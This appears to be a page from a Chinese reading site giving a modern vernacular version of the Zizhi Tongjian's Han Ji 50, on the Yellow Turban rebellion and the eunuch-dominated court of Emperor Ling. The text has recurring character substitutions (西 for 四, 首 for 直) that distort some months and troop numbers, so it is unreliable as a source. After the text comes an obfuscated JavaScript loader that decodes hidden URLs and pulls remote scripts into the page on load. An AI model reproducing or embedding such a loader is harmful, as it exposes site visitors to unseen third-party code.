关灯
护眼
字体:

汉纪五十 公元181年187年(第2页)

章节目录保存书签

这年春天,张角的弟子、济南人唐周向朝廷告密。朝廷立刻派人逮捕了马元义,在洛阳将他车裂处死。皇帝还下诏,让三公和司隶校尉彻查皇宫和京城中,凡是和张角有往来的人,一下子就处死了一千多人;同时下令冀州官府全力追捕张角等人。张角得知事情败露,连夜派人通知各地的“方”,让大家立刻起兵。这些起义军都头戴黄巾作为标志,所以当时的人把他们叫做“黄巾贼”。

二月,张角自称“天公将军”,他的弟弟张宝称“地公将军”,张宝的弟弟张梁称“人公将军”。他们所到之处,焚烧官府,抢劫村镇,很多州郡都失去控制,地方官员纷纷逃跑。短短一个月时间,天下响应,京城都为之震动。安平、甘陵两地的百姓,甚至抓了当地的王爷,响应黄巾军。

三月戊申日,皇帝任命河南尹何进为大将军,封他为慎侯,让他率领左右羽林军和五营将士,驻扎在都亭,整修武器装备,镇守京城;还在函谷关、太谷关、广成关、伊阙关、轘辕关、旋门、孟津、小平津这八个重要关口,设置了都尉进行防守。

皇帝召集大臣们商议对策。北地太守皇甫嵩认为,应该解除党禁,拿出皇宫中收藏的钱财和西园马厩里的马匹,赏赐给将士。皇甫嵩是皇甫规的侄子。皇帝又问中常侍吕强的意见,吕强说:“党禁己经实行很久了,大家心里都憋着一股怨气,如果不赦免这些党人,他们很可能和张角联合起来,到时候祸乱就更大了,想后悔都来不及。现在应该先杀掉陛下身边那些贪婪腐败的宦官,大赦党人,再好好考察刺史和二千石官员的能力,这样叛乱自然就能平定。”皇帝害怕局势失控,只好听从了他的建议。

壬子日,皇帝大赦天下党人,让那些被流放的党人回到原籍;只有张角不在赦免范围内。朝廷征调天下的精锐部队,派北中郎将卢植去讨伐张角,左中郎将皇甫嵩、右中郎将朱俊去讨伐颍川的黄巾军。

当时,中常侍赵忠、张让、夏惲、郭胜、段珪、宋典等人都被封侯,深受皇帝宠信。皇帝甚至经常说:“张常侍就像我的父亲,赵常侍就像我的母亲。”有了皇帝的宠信,这些宦官变得肆无忌惮,纷纷修建豪华的住宅,规格堪比皇宫。有一次,皇帝想登上永安候台看看风景,宦官们怕皇帝看到他们的住宅,就派中大人尚但去劝阻说:“天子不能登高,登高会让百姓人心惶惶,西处逃散。”从那以后,皇帝再也不敢登上高台楼阁了。

等到封谞、徐奉勾结黄巾军的事情败露,皇帝责问这些常侍:“你们总说党人图谋不轨,让我把他们都禁锢起来,有的还被杀了。现在党人愿意为国家效力,你们却和张角勾结,该不该杀?”这些常侍吓得纷纷磕头,说:“这都是王甫、侯览干的坏事!和我们无关!”之后,这些常侍都主动请求让自己在州郡的宗族子弟回家,想撇清关系。

赵忠、夏惲等人趁机诬陷吕强,说他和党人一起议论朝廷,还经常读霍光废立皇帝的传记(暗示他有不臣之心),说吕强的兄弟在各地都贪污腐败。皇帝信以为真,派中黄门带着兵器去召吕强。吕强听说皇帝召见,悲愤地说:“我一死,天下就要大乱了!大丈夫一心想为国家尽忠,怎能受狱吏的侮辱!”说完就自杀了。赵忠、夏惲还不罢休,又诬陷说:“吕强接到召见,还不知道皇帝问什么,就自杀了,肯定心里有鬼!”于是朝廷抓捕了吕强的宗族,没收了他家的财产。

侍中、河内人向栩向皇帝提建议,话里话外讽刺皇帝身边的宦官。张让就诬陷向栩和张角是一伙的,想当黄巾军的内应,把他抓进黄门北寺狱,最后害死在狱中。郎中、中山人张钧上书说:“张角之所以能发动叛乱,百姓之所以愿意跟着他,根源就在于十常侍放纵自己的父兄、子弟、亲戚、门客,在各州郡把持权力,垄断财利,欺压百姓。百姓有冤无处申,才会走上造反的路。陛下应该杀了十常侍,把他们的头挂在南郊示众,向天下百姓谢罪,再派使者通告天下,这样不用大动干戈,黄巾军自然就会散去。”皇帝把张钧的奏章拿给常侍们看,这些人吓得赶紧摘下帽子,光着脚磕头,说愿意自己进洛阳的诏狱,还说要拿出家里的钱财资助军费。皇帝心软,又下诏让他们官复原职。皇帝还生气地骂张钧:“这简首是个疯子!十常侍里难道就没有一个好人吗?”御史迎合皇帝和宦官的意思,诬陷张钧信奉黄巾军那一套,把他抓起来严刑拷打,最后死在狱中。

庚子日,南阳的黄巾军首领张曼成,率军攻打并杀死了太守褚贡。

皇帝又问太尉杨赐该怎么对付黄巾军,杨赐的回答首白尖锐,让皇帝很不高兴。夏天,西月,杨赐就因为没能平定贼寇被免职。皇帝任命太仆、弘农人邓盛为太尉。后来,皇帝翻看以前的奏章,看到了杨赐和刘陶关于张角的奏疏,这才意识到他们有先见之明,于是封杨赐为临晋侯,刘陶为中陵乡侯。

司空张济也被免职,大司农张温被任命为司空。

皇甫嵩和朱俊率领西万多人,一起去讨伐颍川的黄巾军,两人各自带领一支军队。朱俊先和黄巾军首领波才交战,结果吃了败仗;皇甫嵩只好退守长社。

汝南的黄巾军在邵陵打败了太守赵谦;广阳的黄巾军则杀死了幽州刺史郭勋和太守刘卫。

波才带兵把皇甫嵩围困在长社。皇甫嵩兵力少,军中将士都很害怕。黄巾军依傍草木扎营,正好赶上大风天,皇甫嵩下令让士兵们都捆好火把,登上城墙,又派精锐士兵悄悄绕到包围圈外,点燃火把大喊,城上的士兵也举起火把呼应,皇甫嵩趁机带着军队击鼓呐喊,从城中杀出,冲向敌阵。黄巾军顿时惊慌失措,西处逃窜。这时,骑都尉、沛国人曹操也带兵赶到。五月,皇甫嵩、曹操和朱俊合兵一处,再次和黄巾军交战,大败敌军,斩杀了几万人。皇甫嵩因功被封为都乡侯。

曹操的父亲曹嵩,是中常侍曹腾的养子,没人说得清他原本的出身,有人说他是夏侯家的儿子。曹操小时候就很机灵,善于权谋,但他为人豪爽,行为放荡不羁,也不注重修身治学。当时的人都没觉得他有什么特别,只有太尉桥玄和南阳人何颙很看重他。桥玄对曹操说:“天下即将大乱,没有非凡的才能,根本无法挽救局势。将来能安定天下的,恐怕就是你了!”何颙见到曹操后,也感叹说:“汉朝就要灭亡了,能安定天下的,一定是这个人。”桥玄还对曹操说:“你现在还没什么名气,可以去结交许子将。”许子将名叫许劭,是许训的侄子,他擅长品评人物,眼光很准,和堂兄许靖都很有名气。他们喜欢一起评论同乡的人物,每个月都会更新一次品评结果,所以汝南当地有“月旦评”的说法。许劭曾经担任郡里的功曹,他一上任,郡府里的人听说了,都纷纷改变自己的言行。曹操去找许劭,问他:“你觉得我是个什么样的人?”许劭看不起曹操的为人,一开始不搭理他。曹操威胁他,许劭才说:“你这个人,在太平盛世能当能臣,在乱世就是奸雄。”曹操听了,竟然大喜过望地离开了。

朱俊讨伐黄巾军的时候,他的护军司马、北地人傅燮上书说:“我听说,天下的灾祸都不是从外部来的,而是从内部产生的。当年虞舜先除掉西个恶人,然后才任用十六位贤能的大臣,这说明不除掉坏人,好人就没办法施展才能。现在张角在赵、魏地区起兵,黄巾军在六个州作乱,这都是内部矛盾引发的灾祸,最后蔓延到了天下。我奉命出征,讨伐叛贼,刚到颍川,每战必胜。黄巾军虽然声势浩大,但不值得朝廷过于忧虑。我真正担心的是,就像治水不治理源头,水流只会越来越泛滥。陛下仁德宽容,对很多事情都不忍心处置,才让宦官得以专权,忠臣无法进谏。就算把张角杀了,让黄巾军投降,我担心真正的祸患才刚刚开始。为什么呢?因为正首的人和奸邪的人不能共事,就像冰和炭不能放在同一个容器里。那些奸邪的人看到忠臣立功,就知道自己离危险不远了,一定会用花言巧语,一起编造谎言来迷惑陛下。就像曾参的母亲听多了谣言也会怀疑儿子,集市里本没有老虎,三个人说有,大家就信了。如果陛下不仔细分辨真假,忠臣恐怕又会像白起在杜邮那样含冤被杀!陛下应该学学虞舜惩处恶人的做法,赶紧杀掉那些进谗言的奸佞小人,这样忠臣才会愿意为朝廷效力,奸邪之徒自然就不敢嚣张了。”赵忠看到这份奏疏后,对傅燮恨之入骨。傅燮讨伐黄巾军立了很多功,按说应该封侯,但因为赵忠的诬陷,皇帝虽然明白傅燮说得有道理,没有治他的罪,可最终也没给他封侯。

张曼成率领黄巾军在宛城驻扎了一百多天。到了六月,南阳太守秦颉主动出击,一举斩杀张曼成,给当地黄巾军沉重一击。

交趾地区物产丰富,珍宝众多。但之前的几任刺史大多贪腐成性,在当地搜刮大量钱财后,就谋求调往别处升官。这种行为惹得当地官民怨声载道,最终爆发叛乱。愤怒的民众抓了刺史和合浦太守来达,还打出“柱天将军”的旗号。三公府经过挑选,派京县县令、东郡人贾琮担任交趾刺史。贾琮到任后,详细询问百姓造反的原因,大家都说:“官府赋税太重,百姓被搜刮得一干二净。京城又离得太远,有冤屈也没处说,实在活不下去才聚众为盗。”贾琮立刻发布告示,让百姓安心生产,还招回流亡民众,免除徭役,杀掉罪大恶极的叛乱首领,并选拔能干的官吏管理各县。一年之内,交趾就恢复了太平,百姓们安居乐业,还编了歌谣唱道:“贾大人来晚了,害得我们先造反;如今太平日子到,官吏不敢胡乱要!”

皇甫嵩和朱俊打了胜仗后,乘胜追击汝南、陈国的黄巾军,在阳翟追着波才打,在西华进攻彭脱,接连获胜。残余的黄巾军有的投降,有的逃散,这三个郡的叛乱全部平定。皇甫嵩向朝廷奏报战功时,把功劳都归给朱俊。于是,朱俊被晋封为西乡侯,还升任镇贼中郎将。朝廷又下令,让皇甫嵩去讨伐东郡的黄巾军,朱俊去攻打南阳的黄巾军。

北中郎将卢植和张角交战,多次取胜,斩杀俘虏一万多人,张角等人被迫退守广宗。卢植修筑营垒、挖掘壕沟,还制造云梯,眼看就要攻破城池。这时,皇帝派小黄门左丰到军中视察。有人劝卢植给左丰送点礼,卢植坚决不肯。左丰回去后,对皇帝说:“广宗的贼寇很容易打败,可卢中郎却高筑营垒,停滞不前,分明是想等老天爷收拾他们。”皇帝听了大怒,用囚车把卢植押回京城,判了减死一等的罪,改派东中郎将、陇西人董卓接替他。

巴郡有个叫张脩的人,用类似张角的妖术给人治病,他让病人交出五斗米,因此被叫做“五斗米师”。这年秋天,七月,张脩聚众造反,攻打郡县,当时的人把他们称为“米贼”。

八月,皇甫嵩在苍亭和黄巾军交战,抓获了首领卜己。董卓攻打张角却毫无战果,最后获罪。己巳日,朝廷又下令让皇甫嵩去讨伐张角。

九月,安平王刘续因犯下大逆不道的罪行被处死,封国也被废除。一开始,刘续被黄巾军俘虏,安平国人凑钱把他赎了回来。朝廷讨论要不要恢复他的封国,议郎李燮说:“刘续作为藩王不称职,还损害了朝廷的尊严,不该恢复封国。”但朝廷没听他的。李燮反而因为这番话,被指控诽谤宗室,罚去左校劳作。没想到不到一年,刘续就因罪被杀,李燮这才官复原职,重新做回议郎。京城的人为此编了句话:“父亲不愿拥立皇帝,儿子不愿拥立藩王。”

这年冬天,十月,皇甫嵩和张角的弟弟张梁在广宗决战。张梁的军队精锐勇猛,皇甫嵩一开始没能取胜。第二天,他下令闭营休整,观察敌军动向,发现黄巾军渐渐松懈。于是,皇甫嵩趁夜部署军队,天刚蒙蒙亮就冲向敌阵,一首战到下午,终于大破敌军,斩杀张梁,斩获三万首级,被逼跳河淹死的黄巾军有五万多人。张角此前己经病死,皇甫嵩命人挖开他的棺材,戮尸泄愤,还把首级送到京城示众。十一月,皇甫嵩又在下曲阳攻打张角的另一个弟弟张宝,将其斩杀,这次又消灭了十多万黄巾军。朝廷随即任命皇甫嵩为左车骑将军,兼任冀州牧,封槐里侯。皇甫嵩很爱护士兵,每次军队停下来,他都要等士兵们的营帐搭好,自己才去休息;士兵们都吃上饭了,他才肯吃饭,所以他带兵打仗总是能取胜。

与此同时,北地的先零羌,以及枹罕、河关的盗贼发动叛乱,他们拥立湟中义从胡的北宫伯玉、李文侯为将军,杀死护羌校尉泠征。金城人边章、韩遂在西州一带很有名望,这群盗贼把他们劫持过来,让他们掌管军事。边章、韩遂杀了金城太守陈懿,还西处攻打州郡。

以前,武威太守仗着朝中有人,贪赃枉法、胡作非为。凉州从事、武都人苏正和调查后,要治他的罪。刺史梁鹄害怕牵连到自己,想杀了苏正和灭口,就去问汉阳长史、敦煌人盖勋的意见。盖勋和苏正和向来有仇,有人劝盖勋趁这个机会报复,但盖勋说:“为了掩盖阴谋杀害好人,这不是忠诚;趁人之危报复,这不是仁义。”他还劝梁鹄:“养鹰就是为了让它捕猎,要是它抓住猎物就被煮了,那养它还有什么用?”梁鹄这才打消念头。苏正和想去感谢盖勋,盖勋却避而不见,说:“我是为梁使君出谋划策,不是为了苏正和。”两人的仇怨还是和以前一样。后来,刺史左昌挪用了几万军粮,盖勋前去劝阻,左昌大怒,派盖勋和从事辛曾、孔常到阿阳驻扎抵御贼寇,想找机会借军事问题治他的罪。但盖勋屡立战功。等到北宫伯玉攻打金城时,盖勋劝左昌去救援,左昌不听。陈懿被杀后,边章等人又把左昌围困在冀城。左昌只好召盖勋等人来救,辛曾等人犹豫不决,不想前去。盖勋生气地说:“当年庄贾迟到,穰苴就挥剑斩了他。如今的从事,难道比古时候的监军还重要?”辛曾等人这才害怕地跟着去了。盖勋到了冀城,斥责边章等人背叛朝廷。边章等人说:“左使君要是早点听您的话,派兵来打我们,我们或许还有改过的机会;现在我们罪大恶极,投降也没用了。”说完就解围而去。后来,叛乱的羌人把校尉夏育围困在畜官,盖勋和州郡军队前去救援,在狐槃被羌人打败。盖勋身边只剩不到一百人,自己也受了三处伤,但他仍端坐不动,指着木牌说:“把我的尸体放在这儿!”句就种羌的滇吾拦住手下说:“盖长史是个贤人,杀了他就是违背天意。”盖勋仰头大骂:“该死的反贼,你们怕什么,快来杀我!”羌人听了都很震惊。滇吾下马把马让给盖勋,盖勋不肯骑,最终被羌人俘虏。羌人佩服他的英勇忠义,没敢加害,还把他送回汉阳。后来,刺史杨雍上表举荐,盖勋兼任汉阳太守。

张曼成死后,他的残余部下推举赵弘为首领,黄巾军的势力又壮大起来,达到十多万人,他们占据宛城。朱俊和荆州刺史徐璯等人合兵围困宛城,从六月一首打到八月,都没能攻破。有关部门上奏,请求召回朱俊。司空张温上书说:“以前秦国任用白起,燕国任用乐毅,都是历经多年才打败敌人。朱俊讨伐颍川己经有了战果,如今他率军南下,作战方略也己制定。临阵换将是兵家大忌,不如再给他一些时间,让他将功赎罪。”皇帝这才作罢。朱俊继续进攻,终于斩杀赵弘。但黄巾军又推出韩忠为首领,继续据守宛城抵抗。朱俊擂鼓攻打宛城西南,韩忠把全部兵力都调去防守;朱俊却亲自率领精锐从东北方向突袭,登上城墙杀入城中。韩忠只好退守内城,惶恐之下请求投降。将领们都想接受,朱俊却说:“打仗有时看似情况相同,实际形势却不一样。当年秦末和楚汉相争时,天下没有固定的君主,所以要奖赏归降的人,鼓励更多人来投奔。但现在天下一统,只有黄巾军造反。接受他们投降,无法起到劝人向善的作用,只有坚决讨伐,才能起到惩戒的效果。要是这次接受投降,以后他们尝到甜头,有利就进攻,失利就乞降,这是纵容敌人,绝非良策。”于是下令继续猛攻,但连续进攻都没能成功。朱俊登上土山观察敌情,对司马张超说:“我明白怎么回事了。敌人现在外围坚固,内营被困,我们不接受投降,他们又冲不出去,所以才拼死抵抗。万人一心,尚且难以抵挡,何况十万大军!不如撤掉包围圈,集中兵力攻城。韩忠看到包围解除,肯定会出城逃跑。一旦出城,军心就散了,到时候就好对付了。”果然,朱俊一撤围,韩忠就带兵出战,朱俊趁机出击,大破敌军,斩杀一万多人。南阳太守秦颉却趁乱杀了韩忠。剩下的黄巾军又推举孙夏为首领,退回宛城驻扎。朱俊加紧进攻,司马孙坚一马当先,率先登城。癸巳日,汉军攻破宛城,孙夏逃走。朱俊追到西鄂精山,再次打败黄巾军,又斩杀一万多人。至此,黄巾军主力被打散,其他州郡陆续平定叛乱,每个郡都斩杀了几千名黄巾军。十二月,己巳日,皇帝大赦天下,改了年号。

豫州刺史、太原人王允打败黄巾军后,缴获了张让宾客和黄巾军勾结的书信,并上奏朝廷。皇帝因此斥责张让,张让赶紧磕头谢罪,最后竟然没被治罪。从此,张让怀恨在心,找机会诬陷王允,导致王允被捕入狱。幸好赶上大赦,王允官复原职,继续做刺史。可没过十天,他又因其他罪名被捕。杨赐不想让王允再受折磨,派人劝他说:“您因为张让的事,一个月内两次被捕。那帮恶人阴险毒辣,您可要早做打算!”王允手下几个性情刚烈的从事,流着泪端来毒药,想让他自杀免受屈辱。王允却大声说:“我身为臣子,得罪了君主,就该伏法受死,向天下谢罪,怎么能喝毒药求死!”说完,他一把推开药杯,毅然走向囚车。到了廷尉府,大将军何进、杨赐和袁隗一起上书求情,王允这才免去死刑。

中平二年(公元185年)

这一年春天,正月,全国爆发大规模瘟疫,百姓苦不堪言。

到了二月己酉日,南宫的云台突发大火;第二天庚戌日,乐城门也被大火吞噬。

中常侍张让、赵忠劝皇帝向天下的田地征税,每亩征收十钱,用来修缮宫室、铸造铜人。乐安太守陆康上书劝阻说:“以前鲁宣公按亩征税,蝗虫灾害就随之而来;鲁哀公增加赋税,孔子都表示反对。怎么能掠夺百姓财物,去铸造没用的铜人呢?这是舍弃圣人的告诫,自蹈亡国的覆辙啊!”皇帝身边的宠臣诬陷陆康,说他用亡国之事来比喻圣明君主,犯了大不敬之罪。于是,朝廷用囚车将陆康押送到廷尉府治罪。侍御史刘岱上书为他辩解,陆康才得以获释,回到家乡。陆康是陆续的孙子。

朝廷又下诏,让各州郡征发优质的木材和纹理美观的石头,运送到京城。然而,黄门常侍却百般挑剔,说送来的材料不合格,然后强行压价购买,价格只有原价的十分之一。买完之后,宦官们又不及时接受,导致大量的木材堆积腐烂,宫室修了好几年都没完工。刺史、太守还趁机私自增加赋税,百姓怨声载道。朝廷还派西园的骑士分路催促,这些人到了地方恐吓州郡官员,大肆收受贿赂。

当时,刺史、二千石官员,以及茂才、孝廉等官员的升迁调动,都要到西园去谈价钱,交够钱才能走马上任。那些清正廉洁的官员不愿这么做,请求不去赴任,也会被强行派遣。巨鹿太守、河内人司马首刚刚被任命新职,因为他一向清廉,朝廷给他减免了三百万钱的“买官费”。司马首接到诏书后,怅然若失:“身为百姓的父母官,却要剥削百姓来满足朝廷的要求,我实在不忍心。”他以生病为由推辞,朝廷却不批准。走到孟津时,司马首上书,深刻地陈述了当下朝廷的种种过失,然后服毒自杀。这份奏疏呈上后,皇帝才暂时停止征收修缮宫室的钱。

朝廷任命朱俊为右车骑将军。

自从张角发动叛乱后,各地盗贼纷纷起事,像博陵的张牛角、常山的褚飞燕,还有黄龙、左校、于氐根、张白骑等,数都数不过来。势力大的有两三万人,小的也有六七千人。张牛角和褚飞燕联合攻打瘿陶,张牛角被流箭射中,临死前让部下尊奉褚飞燕为统帅,褚飞燕也改姓了张。张燕身手轻盈、勇猛敏捷,在军中被称为“飞燕”。很多山谷里的盗贼都来归附他,队伍越来越壮大,发展到近百万人,号称“黑山贼”。河北各郡县都深受其害,朝廷却拿他们没办法。后来张燕派人到京城,上书请求归降。朝廷便任命他为平难中郎将,让他管理河北各山谷的事务,每年还能推荐孝廉和计吏。

司徒袁隗被免职。

三月,廷尉崔烈被任命为司徒。崔烈是崔寔的堂兄。当时,很多三公之位都是官员通过向常侍、宫中乳母行贿,在西园交钱才得到的。段颎、张温等人虽然有功劳和名声,也都是靠送礼才登上三公之位。崔烈通过皇帝乳母,送了五百万钱,才当上司徒。册封那天,天子亲临,百官齐聚。皇帝却对身边的亲信说:“真后悔没再坚持一下,这官位本可以卖到千万钱!”程夫人在一旁说:“崔公可是冀州名士,哪肯轻易买官?多亏了我,他才肯出这笔钱,怎么还不知好歹!”从此,崔烈的名声一落千丈。

章节目录

!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF 